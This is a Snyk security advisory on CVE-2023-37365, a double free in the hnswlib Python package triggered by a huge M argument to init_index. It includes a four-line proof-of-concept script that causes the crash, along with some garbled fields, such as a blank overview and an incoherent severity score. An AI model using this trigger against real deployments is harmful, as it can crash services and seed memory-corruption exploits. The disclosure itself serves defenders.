Double Free Affecting hnswlib package, versions [0,]


Severity

Recommended
0.0
medium
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
0.59% (44th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-PYTHON-HNSWLIB-5750284
  • published2 Jul 2023
  • disclosed30 Jun 2023
  • creditD4rkD0g

Introduced: 30 Jun 2023

CVE-2023-37365  (opens in a new tab)
CWE-415  (opens in a new tab)

How to fix?

A fix was pushed into the master branch but not yet published.

Overview

hnswlib is a hnswlib

Affected versions of this package are vulnerable to Double Free in init_index when the M argument is a large integer.

PoC

import hnswlib

h = hnswlib.Index(space='l2', dim=1)
h.init_index(max_elements=1, ef_construction=200, M=2305843009213693951)
h.add_items([1], -1)

References

CVSS Base Scores

version 3.1